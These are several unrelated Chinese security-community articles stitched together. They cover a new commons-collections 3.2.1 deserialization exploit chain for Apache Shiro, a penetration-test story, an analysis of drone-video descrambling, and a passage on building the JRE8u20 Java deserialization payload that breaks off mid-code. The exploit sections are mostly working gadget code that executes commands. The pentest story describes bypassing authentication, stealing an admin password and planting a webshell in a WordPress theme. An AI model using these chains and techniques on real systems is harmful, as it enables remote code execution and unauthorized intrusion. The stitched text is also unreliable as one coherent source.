首先，在参考的第一篇文章里，作者在环境中引入了`commons-collections:4.0`，使得ysoserial的`CommonsCollections2`利用链可以成功利用。这是因为`CommonsCollections2`用的是非数组形式的利用链，在该利用链上没有出现数组类型的对象，这使得在shiro的环境下，可以正确执行命令。
那么，问题来了，我们是否能构造出一个在`commons-collections:3.2.1`下可以利用，并且在利用链上不存在数组类型的对象？答案当然是肯定的：）
## 0x03 新利用链构造
根据0x02的介绍，我们可以清楚的是利用链中的`ChainedTransformer`这个类的利用是无法成功的，因为他的类属性`iTransformers`是数组类型的`Transformers`，也就是在执行过程中发生的`ClassNotFoundException`。
如果你看过前几篇关于commons-collections系列的payload分析，那么你肯定可以回忆起来，除了利用`ChainedTransformer`这种方式，还可以使用`TemplatesImpl.newTransformer`函数来动态`loadClass`构造好的evil
class bytes（这一部分不复述了，可以看前面的文章）。并且在这部分利用链上是不存在数组类型的对象的。
那么，接下来的重点就是找一个如何触发`TemplatesImpl.newTransformer`的方法了：）
我们先来回顾一下`CommonsCollections2`的利用链
PriorityQueue.readObject
-> PriorityQueue.heapify()
-> PriorityQueue.siftDown()
-> PriorityQueue.siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
... templates Gadgets ...
-> Runtime.getRuntime().exec()
在这条链上，由于TransformingComparator在3.2.1的版本上还没有实现Serializable接口，其在3.2.1版本下是无法反序列化的。所以我们无法直接利用该payload来达到命令执行的目的。
那么就来改造改造吧！我们先将注意力关注在`InvokerTransformer.transform()`上
这里是最经典的反射机制的写法，根据传入的`input`对象，调用其`iMethodName`（可控）。那么如果此时传入的`input`为构造好的`TemplatesImpl`对象呢？
很明显，这样我们就可以通过将`iMethodName`置为`newTransformer`，从而完成后续的templates gadgets。
那么问题来了，怎么将传入的`input`置为`TemplatesImpl`对象呢？
在ysoserial的利用链中，关于`transform`函数接收的`input`存在两种情况。
1.配合`ChainedTransformer`
`InvokerTransformer`往往同`ChainedTransformer`配合，循环构造Runtimt.getRuntime().exec。很明显，这里我们无法利用了。
2.无意义的`String`
这里的无意义的`String`指的是传入到`ConstantTransformer.transform`函数的`input`，该`transform`函数不依赖`input`，而直接返回`iConstant`
这里第一条路肯定断了，那么就是怎么利用这个无意义的`String`了！
从`CommonsCollection5`开始，出现了`TiedMapEntry`，其作为中继，调用了`LazyMap`（map）的`get`函数。
来看一看
其中`map`和`key`我们都可以控制，而`LazyMap.get`调用了`transform`函数，并将可控的`key`传入`transform`函数
这里就接上了我们前面讨论的，将构造好的`TemplatesImpl`（key）作为`InvokerTransformer.transform`函数的`input`传入，我们就可以将templates
gadgets串起来了。
简单来说，我们将`CommonsCollections5,6,9`构造链中的`TiedMapEntry`的key用了起来。
final Object templates = Gadgets.createTemplatesImpl(command);
// TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); //原来的利用方式
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
这里将无意义的`foo`改造成了触发`TemplatesImpl.newTransformer`的trigger。
而在`TiedMapEntry`前的利用链，在原生shiro环境下，并不冲突（没有数组类型的对象），可以正常反序列化。这一部分就省略了。
## 0x04 EXP编写
这里其实可以构造出好几个链，我这里就拿`HashSet`为例，完整的exp见[MyYsoserial](https://github.com/wh1t3p1g/ysoserial)中的`CommonsCollections10`
final Object templates = Gadgets.createTemplatesImpl(command);// 构造带有evil class bytes的TemplatesImpl
// 构造InvokerTransformer，填充无害的toString函数
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
final Map innerMap = new HashMap();
// 构造LazyMap的factory为前面的InvokerTransformer
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
// 填充TiedMapEntry的map（lazyMap）和key（TemplatesImpl）
TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
HashSet map = new HashSet(1);
map.add("foo");
// 下述代码将entry填充到HashSet的node的key上，可以使得HashSet在put的时候调用TiedMapEntry的hashCode函数
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
// 将最终的触发函数newTransformer装载到InvokerTransformer上
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
return map;
这里不对源码进行讲解了，都写在了注释里。
这里整理一下这条链的调用过程
java.util.HashSet.readObject()
-> java.util.HashMap.put()
-> java.util.HashMap.hash()
-> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
-> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
-> org.apache.commons.collections.map.LazyMap.get()
-> org.apache.commons.collections.functors.InvokerTransformer.transform()
-> java.lang.reflect.Method.invoke()
... templates gadgets ...
-> java.lang.Runtime.exec()
## 0x05 总结
在经过对`CommonsCollections`系列的利用链进行分析后，在shiro这个问题上，进行了实战，解决了tomcat下无法利用shiro原生的`commons-collections:3.2.1`这个问题。
在最近的[shiro-721](https://issues.apache.org/jira/browse/SHIRO-721)利用上，这个利用链希望可以帮助到大家
Happy Hacking XD | 社区文章 |
### 记一次曲折的渗透
#### 一.前言
这是一次非常曲折的渗透测试，也让我学到了很多。
#### 二.逻辑漏洞
收集子域名，看到一个项目管理的网站
先随机测试了几个弱口令，没有验证码，也没有失败次数限制，上burp爆破，无果后，尝试看有没有逻辑缺陷可以绕过
抓包抓到404，改成200然后放行
浏览器出现了后台界面，而且没有被重定向到登陆界面
正当我喜出望外的时候，却发现很多功能点的API都返回报错，无法正常使用，猜测是后端对登录用户的token进行了验证。
还好用户管理处的API正常返回了数据，F12修改一下text，轻轻松松拿到管理员密码
随即退出，用刚 才获取到的密码重新登录，现实却狠狠给了我当头一棒，密码错误，百思不解，难道系统API返回的数据还可能有错吗？
结果，真的可能。
重新抓包改包登入系统，在burp里仔细看了下用户管理api返回的json
发现所有用户的密码都是统一的，都是该公司旗下某产品的英文名。猜测可能是为了防止密码被泄露，后端对返回的密码进行了过滤了，统一修改了。
无奈，只能继续找找还能正常使用的功能点，发现一个数据库备份下载，想着可以从数据库备份中翻到管理员密码
点击下载之后却没有任何反应，看了下burp，点击下载后发送了一个checkPower的包，返回false，猜测是用来验证有没有下载权限的
还是抓包修改成200
然后成功下载到文件，打开搜索user字样，密码没有加密，这下是终于成功拿到管理员密码了，登录上去。
#### 三.敏感信息搜集
然而找了半天也没发现其他可以利用的点了，没有文件上传的点，试了几个接口也没发现可以注入的。将注意力放到邮箱配置的地方，发现邮件设置里面有他们公司的邮件系统以及账号密码，于是登录到了root用户的邮箱
#### 四.Getshell
通过该公司的售后网站可以发现，这是一个wordpress框架
登陆时选择忘记密码就会通过上面那个邮箱发送一个随机密码给用户
我们通过该方法得到了一个随机密码，登陆成功
然后就是简单的在主题里编辑一下，写一个一句话木马，连工具，成功getshell
#### 五.后记
雀儿八十让我学到了很多，再不学习我都要忘了一句话木马怎么写的了，这一次的精彩部分就是拿到邮箱那里的登陆权限，邮箱里有特别特别多的敏感信息，通过那里的敏感信息可以发现，所有用户改密码都是这个邮箱随机生成一个密码然后发送给用户的，精彩精彩。 | 社区文章 |
# 以色列无人机劫持的技术分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://samvartaka.github.io/cryptanalysis/2016/02/02/videocrypt-uavs>
译文仅供参考，具体内容表达以及含义原文为准。
几天前,The Intercept公布了一个有关英国和美国的情报部门(GCHQ和NSA) 的故事,讲述了他们如何在代号为“Anarchist”
的项目中截获以色列无人机和战斗机的实时视频信源。文章中提到了分析师如何于1998年首次收集到加密的视频信号,以及信号是如何从各种各样的无人驾驶飞机和战斗机中获取的,而这样做是为了识别信号所属的飞机、武器系统或雷达。这篇文章打算稍微深入地研究故事中的技术细节,附带一些泄露出来的文件。
****
**无人机通信**
无人机通常通过卫星和被称为“下行”传输装置与地面控制人员沟通。Troodos天线通过为每个无人机寻找合适的频率截获了下行数据。泄露文档提到,来自以色列无人机的一个被称为S455N的SOI在不同的时刻被发现。这种采用移频键控(FSK)调制的信号被编码成9.11
兆波特,占据大约10 MHz带宽。后续信号处理显示出一个包含IP /
UDP数据包的有效载荷,并携带多个协议,其中主要是实时传输协议(RTP),用于提供音频和视频内容。RTP流中包含的数据是一种多流MPEG
4视频,每个流对应不同的相机。
**
**
**无人机信号加密**
文档中名为S455e的SOI存在加密和不加密两种形式,但实际上它们在频域中受到检查时很难区分。在扰频信号中,视频帧没有改变, 在持有加密的元数据的屏幕顶部,
数字信息有两行被编码在文本区域内,这种加扰技术被称为“线割和旋转”。这种技术能够在特定位置切割视频信源的每一行,用相反的顺序传输两个部分.
手册中讨论了很多开源材料的实用性。GCHQ培训手册中概述的方法如下:
•拦截SOI
•从加工过的SOI中捕获视频帧位图(BMP)
•使用ImageMagick将位图转换为便携式象素映射(PPM)
•使用AntiSky对图像解扰
•使用ImageMagick查看清晰的形象,如果需要可以将它转换成一个更方便的格式
手册中提到, 解扰图像所需的计算量相当大,但通过解扰单个的框架来确定图像内容仍然是可行的。
**
**
**VideoCrypt**
让我们看看VideoCrypt方案。VideoCrypt作用于PAL编码格式的视频信源。PAL视频信息以交错形式从上到下存储在线路中。组成一个视频帧的线路上的256个可能的切割点都被切断,然后两部分的每一行都会进行交换传输。一连串的切割点是由智能卡上PRNG生成的一个伪随机序列确定的。
为了将信号解码,译码器将与智能卡连接检查卡片是否为一个特定的频道授权,如果是,那么译码器将在卡的PRNG中找到视频信号的信源。
显然,线割和旋转的方法有些不足,因为它在某一时刻只沿着一个轴(x轴)改变图像。BBC使用了一种叫做VideoCrypt-S的变体,可以将图像沿y轴改变(如第5行可能被传播到第10行),支持三种格式。但是这种变体只能在BBC选择服务中使用,并不适用于文章中所讨论的用于获取无人机视频文件的算法。
**
**
**VideoCrypt 的PRNG和键控散列函数**
60位PRNG信源适用于一个给定的框架,并送入PRNG产生一系列的8位秘密割点,有效地制定密钥流,VideoCrypt所使用的键控散列函数是一个定制的哈希函数。哈希函数在Python中如下:
#!/usr/bin/env python """ VideoCrypt Keyed Hash Algorithm as described in http://www.cl.cam.ac.uk/~mgk25/vc-slides.pdf """ class VideoCryptHash: def __init__(self): # PRNG sequence self.answ = [0]*8 self.j = 0 # Secret-key based S-Box (details unpublished so replaced with identity mapping) self.sbox = [i for i in xrange(0x00, 0x100)] return # Round function as per BSkyB P07 card def round_function(self, p): self.answ[self.j] = (self.answ[self.j] ^ p) c = self.sbox[self.answ[self.j] / 16] + self.sbox[(self.answ[self.j] % 16) + 16] c = ((((~c) << 1) + p) >> 3) % 0x100 self.j = (self.j + 1) % 8 self.answ[self.j] = (self.answ[self.j] ^ c) return # Keyed hash function with 'signature check' def keyed_hash(self, msg): assert(len(msg) == 32) self.answ = [0]*8 self.j = 0 for i in xrange(0, 27): self.round_function(msg[i]) b = 0 for i in xrange(27, 31): self.round_function(b) self.round_function(b) if (self.answ[self.j] != msg[i]): return [] self.j = (self.j + 1) % 8 # Only in P07 b = msg[i] for i in xrange(1, 65): self.round_function(msg[31]) return self.answ v = VideoCryptHash() print v.keyed_hash([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0x03,0xF6,0xED,0])
键控的散列函数是为了抵御攻击者的复制。在最初的VideoCrypt系统中没有卡或解码器特有信息,因此一张卡可被用于多个解码器(即“卡共享攻击”)。是否被用于无人机地面控制人员和无人机个体信源取决于VideoCrypt中的智能卡得到多大程度的改造。
**对VideoCrypt加扰方案的分析**
一个被动的攻击者截获视频信源后需要处理如下几件事:
•加密元数据:来自于使用了键控散列函数的PRNG信源的32字节的消息
•视频信源“密文”
鉴于我们对PRNG一无所知,无法获得键控散列函数。最直接的方法就是对扰频视频进行密文分析。幸运的是不规则排列可以在不需要秘密割点密钥流的情况下被打破。鉴于两条连续的线在大多数图像中几乎相同,可以尝试所有256个可能的割点并选择最佳的两个相邻行。马库斯·库恩的AntiSky项目所使用就是这样方法,对每个图像进行强力图像处理攻击在实践中似乎足够有效,尽管图像质量会受到损失。情报分析人员拦截无人机信源不会太关心图像清不清楚,只需要提炼出有价值的情报。AntiSky用优化的方法衡量两条线的相关性,并使用动态规划算法来降低整体的复杂性。
Michael Niedermayer 对AntiSky算法的一个改进版本如下:
• (可选) 缩减像素采样来加速互相关
•互相关:尽管AntiSky使用基于FFT的互相关,自适应互相关将更为可取
•配错的线检测方法:不适用于互相关的线(即不能正确匹配)需要标记为“不匹配”,防止影响对周围的线的评估。
•PAL相位检测和发现彩度相位差: 如果我们想要将颜色解码就需要做到这一点
•边缘检测: 使用一个动态边缘检测器检测图像左和右边界,计算从顶部到任何像素最优路径。边缘检测可以检测出最小距离的范围,因此排除许多假的“替代边缘”。
•割点序列发现:使用动态规划我们可以结合上述信息来找到最优割点序列。
•割点缓存:使用缓存查找防止候选割点重复
•切割和交换: 沿着最好的候选割点切割扰频行,交换线段给复原图像让位。
**示范**
我们可以有效地遵循“Anarchist”的手动过程,尝试库恩网站上提供的videocrypt扰频图像。
usr@machine:~# mogrify -format ppm r-vc1.jpg usr@machine:~# gcc -lm -o antisky antisky.c antisky.c: In function ‘main’: antisky.c:615:5: warning: incompatible implicit declaration of built-in function ‘memcpy’ [enabled by default] usr@machine:~# ./antisky -1 -r20 r-vc1.ppm r-vc1.decrypted.pgm usr@machine:~# mogrify -format png r-vc1.decrypted.pgm
培训手册中提到,解扰是一个反复试验的过程,直到能够产生像样的复原图像。
**
**
**Video解码:另一种整理方法**
在他的网站上讨论了另一种解扰的方法。尽管库恩在获得图像时使用标准PC视频捕捉卡和任意分辨率/扫描速率,
Steer却依靠对目标系统的一些基本假设,“完美”地译解了图像。Steer给了一个例子,常见的机顶盒采样视频信号在14
mhz,每行256个可能的割点,割点不存在于图像左/右边缘的最小距离,但可以确定割点都落在1 /(7
mhz)间隔上。Steer的算法首先过滤掉PAL副载波,只留下亮度信息,通过每一行的所有可能的割点旋转计算平方差异,找出最适合的。经过上述过程后,结果是一个像素完美的图像,但左/右边界在水平上会存在全反失真。整理后,图像会经过Steer的PalColour程序的处理。
**经验教训?**
最明显的经验是,
90年代初的模拟PayTV加扰算法已经不适合无人机信源“加密”。本文利用的信息可以追溯到2010年,现在这些东西很可能已经改变了。现成的硬件解决方案看起来很有吸引力,因为强大的加密方案将需要不断纠错,从而对无人机模型进行改进。 | 社区文章 |
作者：[n1nty@360 A-Team](https://mp.weixin.qq.com/s/Daipik5qK6cIuYl49G-n4Q
"n1nty@360 A-Team")
#### 正文
JRE8u20 是由 pwntester 基于另外两位黑客的代码改造出来的。因为此 payload 涉及到手动构造序列化字节流，使得它与 ysoserial
框架中所有的 payload 的代码结构都不太一样，所以没有被集成到 ysoserial 框架中。此 payload
在国内没有受到太大的关注也许与这个原因有关。我对此 payload 进行了相对深入的研究，学到了不少东西，在此与大家分享。
#### 需要知道的背景知识
1. 此 payload 是 ysoserial 中 Jdk7u21 的升级版，所以你需要知道 Jdk7u21 的工作原理
2. 你需要对序列化数据的二进制结构有一些了解，serializationdumper 在这一点上可以帮到你。
#### 简述 Jdk7u21
网上有不少人已经详细分析过 Jdk7u21 了，有兴趣大家自己去找找看。
大概流程如下：
1. TemplatesImpl 类可被序列化，并且其内部名为 __bytecodes 的成员可以用来存储某个 class 的字节数据
2. 通过 TemplatesImpl 类的 getOutputProperties 方法可以最终导致 __bytecodes 所存储的字节数据被转换成为一个 Class（通过 ClassLoader.defineClass），并实例化此 Class，导致 Class 的构造方法中的代码被执行。
3. 利用 LinkedHashSet 与 AnnotationInvocationHandler 来触发 TemplatesImpl 的 getOutputProperties 方法。这里的流程有点多，不展开了。
#### Jdk7u21 的修补
Jdk7u21 如其名只能工作在 7u21 及之前的版本，因为在后续的版本中，此 payload 依赖的
AnnotationInvocationHandler 的反序列化逻辑发生了改变。其 readObject 方法中加入了一个如下的检查：
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation
type in annotation serial stream");
}
/// 省略了后续代码
}
可以看到在反序列化 AnnotationInvocationHandler 的过程中，如果 this.type
的值不是注解类型的，则会抛出异常，这个异常会打断整个反序列化的流程。而 7u21 的 payload 里面，我们需要 this.type 的值为
Templates.class 才可以，否则我们是无法利用 AnnotationInvocationHandler 来调用到
getOutputProperties 方法。正是这个异常，使得此 payload 在后续的JRE 版本中失效了。强行使用的话会看到如下的错误：
Exception in thread "main" java.io.InvalidObjectException: Non-annotation type in annotation serial stream
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:341)
.....
#### 绕过的思路
仔细看 AnnotationInvocationHandler.readObject 方法中的代码你会发现大概步骤是：
1. var1.defaultReadObject();
2. 检查 this.type，非注解类型则抛出异常。
代码中先利用 var1.defaultReadObject() 来还原了对象（从反序列化流中还原了 AnnotationInvocationHandler
的所有成员的值），然后再进行异常的抛出。也就是说， **AnnotationInvocationHandler 这个对象是先被成功还原**
，然后再抛出的异常。这里给了我们可趁之机。
（以下所有的内容我会省略大量的细节，为了更好的理解建议各位去学习一下 Java 序列化的规范。）
#### 一些小实验
###### 实验 1：序列化中的引用机制
ObjectOutputStream out = new ObjectOutputStream(
new FileOutputStream(new File("/tmp/ser")));
Date d = new Date();
out.writeObject(d);
out.writeObject(d);
out.close();
向 /tmp/ser 中写入了两个对象，利用 serializationdump 查看一下写入的序列化结构如下。
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73 // 这里是第一个 writeObject 写入的 date 对象
TC_CLASSDESC - 0x72
className
Length - 14 - 0x00 0e
Value - java.util.Date - 0x6a6176612e7574696c2e44617465
serialVersionUID - 0x68 6a 81 01 4b 59 74 19
newHandle 0x00 7e 00 00
classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
fieldCount - 0 - 0x00 00
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 01 // 为此对象分配一个值为 0x00 7e 00 01 的 handle，要注意的是这个 handle 并没有被真正写入文件，而是在序列化和反序列化的过程中计算出来的。serializationdumper 这个工具在这里将它显示出来只是为了方便分析。
classdata
java.util.Date
values
objectAnnotation
TC_BLOCKDATA - 0x77
Length - 8 - 0x08
Contents - 0x0000015fd4b76bb1
TC_ENDBLOCKDATA - 0x78
TC_REFERENCE - 0x71 // 这里是第二个 writeObject 对象写入的 date 对象
Handle - 8257537 - 0x00 7e 00 01
可以发现，因为我们两次 writeObject 写入的其实是同一个对象，所以 Date 对象的数据只在第一次 writeObject
的时候被真实写入了。而第二次 writeObject 时，写入的是一个 TC_REFERENCE 的结构，随后跟了一个4 字节的 Int 值，值为 0x00
7e 00 01。这是什么意思呢？意思就是第二个对象引用的其实是 handle 为 0x00 7e 00 01 的那个对象。
在反序列化进行读取的时候，因为之前进行了两次 writeObject，所以为了读取，也应该进行两次 readObject：
1. 第一次 readObject 将会读取 TC_OBJECT 表示的第 1 个对象，发现是 Date 类型的对象，然后从流中读取此对象成员的值并还原。并为此 Date 对象分配一个值为 0x00 7e 00 01 的 handle。
2. 第二个 readObject 会读取到 TC_REFERENCE，说明是一个引用，引用的是刚才还原出来的那个 Date 对象，此时将直接返回之前那个 Date 对象的引用。
###### 实验 2：还原 readObject 中会抛出异常的对象
看实验标题你就知道，这是为了还原 AnnotationInvocationHandler 而做的简化版的实验。
假设有如下 Passcode 类
public class Passcode implements Serializable {
private static final long serialVersionUID = 100L;
private String passcode;
public Passcode(String passcode) {
this.passcode = passcode;
}
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
if (!this.passcode.equals("root")) {
throw new Exception("pass code is not correct");
}
}
}
根据 readObject 中的逻辑，似乎我们只能还原一个 passcode 成员值为 root 的对象，因为如果不是 root
，就会有异常来打断反序列化的操作。那么我们如何还原出一个 passcode 值不是 root 的对象呢？我们需要其他类的帮助。
假设有一个如下的 WrapperClass 类：
public class WrapperClass implements Serializable {
private static final long serialVersionUID = 200L;
private void readObject(ObjectInputStream input)
throws Exception {
input.defaultReadObject();
try {
input.readObject();
} catch (Exception e) {
System.out.println("WrapperClass.readObject:
input.readObject error");
}
}
}
此类在自身 readObject 的方法内，在一个 try/catch 块里进行了 input.readObject 来读取当前对象数据区块中的下一个对象。
###### 解惑
假设我们生成如下二进制结构的序列化文件（简化版）：
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73 // WrapperClass 对象
TC_CLASSDESC - 0x72
...
// 省略，当然这里的flag 要被标记为 SC_SERIALIZABLE | SC_WRITE_METHOD
classdata // 这里是 WrapperClass 对象的数据区域
TC_OBJECT - 0x73 // 这里是 passcode 值为 "wrong passcode" 的 Passcode 类对象，并且在反序列化的过程中为此对象分配 Handle，假如说为 0x00 7e 00 03
...
TC_REFERENCE - 0x71
Handle - 8257537 - 0x00 7e 00 03 // 这里重新引用上面的那个 Passcode 对象
WrapperClass.readObject 会利用 input.readObject 来尝试读取并还原 Passcode 对象。虽然在还原
Passcode 对象时，出现了异常，但是被 try/catch 住了，所以序列化的流程没有被打断。Passcode 对象被正常生成了并且被分配了一个值为
0x00 7e 00 03 的 handle。随后流里出现了 TC_REFERENCE 重新指向了之前生成的那个 Passcode
对象，这样我们就可以得到一个在正常情况下无法得到的 passcode 成员值为 "wrong passcode" 的 Passcode 类对象。
读取的时候需要用如下代码进行两次 readObject：
ObjectInputStream in = new ObjectInputStream(
new FileInputStream(new File("/tmp/ser")));
in.readObject(); // 第一次，读出 Wrapper Class
System.out.println(in.readObject()); // 第二次，读出 Passcode 对象
###### 实验 3：利用 SerialWriter 给对象插入假成员
SerialWriter 是我自己写的用于生成自定义序列化数据的一个工具。它的主要亮点就在于可以很自由的生成与拼接任意序列化数据，可以很方便地做到 Java
原生序列化不容易做到的一些事情。它不完全地实现了 Java 序列化的一些规范。简单地理解就是 SerialWriter 是我写的一个简化版的
ObjectOutputStream。目前还不是很完善，以后我会将代码上传至 github。
如果用 SerialWriter 来生成实验 2 里面提到的那段序列化数据的话，代码如下：
public static void test2() throws Exception {
Serialization ser = new Serialization();
// wrong passcode ，反序列化时会出现异常
Passcode passcode = new Passcode("wrong passcode");
TCClassDesc desc = new TCClassDesc(
"util.n1nty.testpayload.WrapperClass",
(byte)(SC_SERIALIZABLE | SC_WRITE_METHOD));
TCObject.ObjectData data = new TCObject.ObjectData();
// 将 passcode 添加到 WrapperClass 对象的数据区
// 使得 WrapperClass.readObject 内部的 input.readObject
// 可以将它读出
data.addData(passcode);
TCObject obj = new TCObject(ser);
obj.addClassDescData(desc, data, true);
ser.addObject(obj);
// 这里最终写入的是一个 TC_REFERENCE
ser.addObject(passcode);
ser.write("/tmp/ser");
ObjectInputStream in = new ObjectInputStream(
new FileInputStream(new File("/tmp/ser")));
in.readObject();
System.out.println(in.readObject());
}
#### 给对象插入假成员
什么意思呢？序列化数据中，有一段名为 TC_CLASSDESC
的数据结构，此数据结构中保存了被序列化的对象所属的类的成员结构（有多少个成员，分别叫什么名字，以及都是什么类型的。）
还是拿上面的 Passcode 类来做例子，序列化一个 Passcode 类的对象后，你会发现它的 TC_CLASSDESC 的结构如下：
TC_CLASSDESC - 0x72
className
Length - 31 - 0x00 1f // 类名长度
Value - util.n1nty.testpayload.Passcode - 0x7574696c2e6e316e74792e746573747061796c6f61642e50617373636f6465 //类名
serialVersionUID - 0x00 00 00 00 00 00 00 64
newHandle 0x00 7e 00 02
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 1 - 0x00 01 // 成员数量，只有 1 个
Fields
0:
Object - L - 0x4c
fieldName
Length - 8 - 0x00 08 // 成员名长度
Value - passcode - 0x70617373636f6465 // 成员名
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 18 - 0x00 12 // 成员类型名的长度
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b // 成员类型，为Ljava/lang/String;
如果我们在这段结构中，插入一个 Passcode 类中根本不存在的成员，也不会有任何问题。这个虚假的值会被反序列化出来，但是最终会被抛弃掉，因为
Passcode 中不存在相应的成员。但是如果这个值是一个对象的话，反序列化机制会为这个值分配一个 Handle。JRE8u20 中利用到了这个技巧来生成
AnnotationInvocationHandler 并在随后的动态代理对象中引用它。利用 ObjectOutputStream
我们是无法做到添加假成员的，这种场景下 SerialWriter 就派上了用场。（类似的技巧还有：在 TC_CLASSDESC 中把一个类标记为
SC_WRITE_METHOD，然后就可以向这个类的数据区域尾部随意添加任何数据，这些数据都会在这个类被反序列化的同时也自动被反序列化）
#### 回到主题 - Payload JRE8u20
上面已经分析过是什么问题导致了 Jdk7u21 不能在新版本中使用。也用了几个简单的实验来向大家展示了如何绕过这个问题。那么现在回到主题。
JRE8u20 中利用到了名为 java.beans.beancontext.BeanContextSupport 的类。 此类与上面实验所用到的
WrapperClass 的作用是一样的，只不过稍复杂一些。
大体步骤如下：
1. JRE8u20 中向 HashSet 的 TC_CLASSDESC 中添加了一个假属性，属性的值就是BeanContextChild 类的对象。
2. BeanContextSupport 在反序列化的过程中会读到 this.type 值为 Templates.class 的 AnnotationInvocationHandler 类的对象，因为 BeanContextChild 中有 try/catch，所以还原 AnnotationInvocationHandler 对象时出的异常被处理掉了，没有打断反序列化的逻辑。同时 AnnotationInvocationHandler 对象被分配了一个 handle。
3. 然后就是继续 Jdk7u21 的流程，后续的 payload 直接引用了之前创建出来的 AnnotationInvocationHandler 。
pwntester 在 github 上传了他改的 Poc，但是因为他直接将序列化文件的结构写在了 Java 文件的一个数组里面，而且对象间的 handle
与 TC_REFERENCE 的值都需要人工手动修正，所以非常不直观。而且手动修正 handle 是一个很烦人的事情。
为了证明我不是一个理论派 :-) ，我用 SerialWriter 重新实现了整个 Poc。代码如下：（手机端看不全代码，在电脑上看吧）
package util.n1nty.testpayload;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import util.Gadgets;
import util.Reflections;
import util.n1nty.gen.*;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextChild;
import java.beans.beancontext.BeanContextSupport;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import static java.io.ObjectStreamConstants.*;
public class TestRCE {
public static Templates makeTemplates(String command) {
TemplatesImpl templates = null;
try {
templates = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(templates, "_auxClasses", null);
} catch (Exception e) {
e.printStackTrace();
}
return templates;
}
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
TCObject handler = new TCObject(ser) {
@Override
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
super.doWrite(new DataOutputStream(byteout), handles);
byte[] bytes = byteout.toByteArray();
/**
* 去掉最后的 TC_ENDBLOCKDATA 字节。因为在反序列化 annotation invocation handler 的过程中会出现异常导致序列化的过程不能正常结束
* 从而导致 TC_ENDBLOCKDATA 这个字节不能被正常吃掉
* 我们就不能生成这个字节
* */
out.write(bytes, 0, bytes.length -1);
}
};
// 手动添加 SC_WRITE_METHOD，否则会因为反序列化过程中的异常导致 ois.defaultDataEnd 为 true，导致流不可用。
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte)(SC_SERIALIZABLE | SC_WRITE_METHOD));
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
desc.addField(new TCClassDesc.Field("type", Class.class));
TCObject.ObjectData data = new TCObject.ObjectData();
data.addData(map);
data.addData(Templates.class);
handler.addClassDescData(desc, data);
return handler;
}
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
TCObject obj = new TCObject(ser);
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
beanContextSupportData.addData(1); // serializable
beanContextSupportData.addData(handler);
beanContextSupportData.addData(0, true); // 防止 deserialize 内再执行 readObject
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
beanContextChildSupportData.addData(obj); // 指回被序列化的 BeanContextSupport 对象
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
return obj;
}
public static void main(String[] args) throws Exception {
Serialization ser = new Serialization();
Templates templates = makeTemplates("open /Applications/Calculator.app");
HashMap map = new HashMap();
map.put("f5a5a608", templates);
TCObject handler = makeHandler(map, ser);
TCObject linkedHashset = new TCObject(ser);
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
